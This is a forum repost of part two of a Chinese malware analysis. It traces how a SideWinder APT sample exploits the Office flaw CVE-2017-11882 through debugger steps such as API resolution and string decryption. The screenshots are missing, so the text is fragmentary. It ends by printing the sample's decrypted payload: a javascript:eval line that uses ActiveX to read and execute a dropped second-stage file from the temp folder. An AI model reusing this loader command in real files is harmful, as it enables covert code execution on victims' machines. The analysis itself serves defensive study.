搜索

[19599] 2020-04-16_干货分享丨Office漏洞分析（下篇）

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2020-04-16_干货分享丨Office漏洞分析（下篇） 干 货 分 享 丨 O f f i c e 漏 洞 分 析 （ 下 篇 ） i 春 秋   2 0 2 0 - 0 4 - 1 6 今 天 的 文 章 是   i   春 秋 论 坛 作 者 E R F Z E 表 哥 发 布 的 文 章 ， 关 于 C V E - 2 0 1 7 - 1 1 8 8 2 及 利 用 样 本 分 析 ， 由 于 文 章 篇 幅 较 长 ， 我 们 分 了 上 、 下 两 篇 ， 错 过 上 篇 的 童 鞋 可 以 点 击 下 方 链 接 进 行 学 习 哦 ~ O f f i c e 漏 洞 丨 C V E - 2 0 1 7 - 1 1 8 8 2 及 利 用 样 本 分 析 （ 上 篇 ） 在 上 篇 内 容 中 ， 我 们 分 享 了 O f f i c e 漏 洞 的 成 因 、 影 响 版 本 及 摩 诃 草 ( A P T - C - 0 9 ) 组 织 某 样 本 分 析 ， 今 天 我 们 继 续 分 享 响 尾 蛇 ( S i d e W i n d e r ) 组 织 某 样 本 分 析 和 蔓 灵 花 ( B i t t e r ) 组 织 某 样 本 分 析 ， 快 来 学 习 吧 ~ 响 尾 蛇 响 尾 蛇 ( S i d e W i n d e r ) 组 织 某 样 本 分 析 组 织 某 样 本 分 析 将 文 档 拖 进 W i n H e x 查 看 ：
可 以 看 出 该 文 档 实 质 是 一 R T F 格 式 文 档 。 用 r t f o b j . p y 分 析 如 下 ：
P a c k a g e 后 文 会 提 到 ， 先 来 看 其 C V E - 2 0 1 7 - 1 1 8 8 2 利 用 部 分 。 同 样 是 第 二 次 断 下 时 ： 其 后 的 执 行 流 程 与 上 一 样 本 相 似 ： 经 过 绿 色 方 框 中 的 一 系 列 运 算 后 ， 调 用 G l o b a l L o c k (   ) 函 数 ， 传 递 参 数 如 下 ：
接 下 来 跳 转 到 G l o b a l L o c k (   ) 函 数 返 回 内 存 区 域 中 ： 经 过 两 次 c a l l 调 用 ：
修 正 内 存 中 的 字 符 串 ： 接 下 来 寻 址 k e r n e l 3 2 . d l l ：
其 所 调 用 的 函 数 功 能 如 下 ： 两 次 c a l l 调 用 之 后 ：
其 功 能 为 返 回 某 函 数 调 用 地 址 ， 此 次 是 L o a d L i b r a y W (   ) ： 接 下 来 ， 返 回 G e t P r o c A d d r e s s (   ) 调 用 地 址 ：
继 续 c a l l 调 用 ： 其 后 流 程 如 图 所 示 ：
下 面 将 字 符 串 解 密 ， 并 覆 盖 原 C o m m a n d L i n e 内 容 ：
执 行 完 结 果 如 下 ： 最 后 实 际 执 行 部 分 ： 其 后 调 用 R u n H T M L A p p l i c a t i o n (   ) ： j a v a s c r i p t : e v a l ( " s a = A c t i v e X O b j e c t ; a b = n e w   s a ( " S c r i p t i n g . F i l e S y s t e m O b j e c t " ) ; e v a l ( a b . O p e n T e x t F i l e ( a b . G e t S p e c i a l F o l d e r ( 2 ) + " 1 . a " , 1 ) . R e a d A l l ( ) ) ; w i n d o w c l o s e ( ) " )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理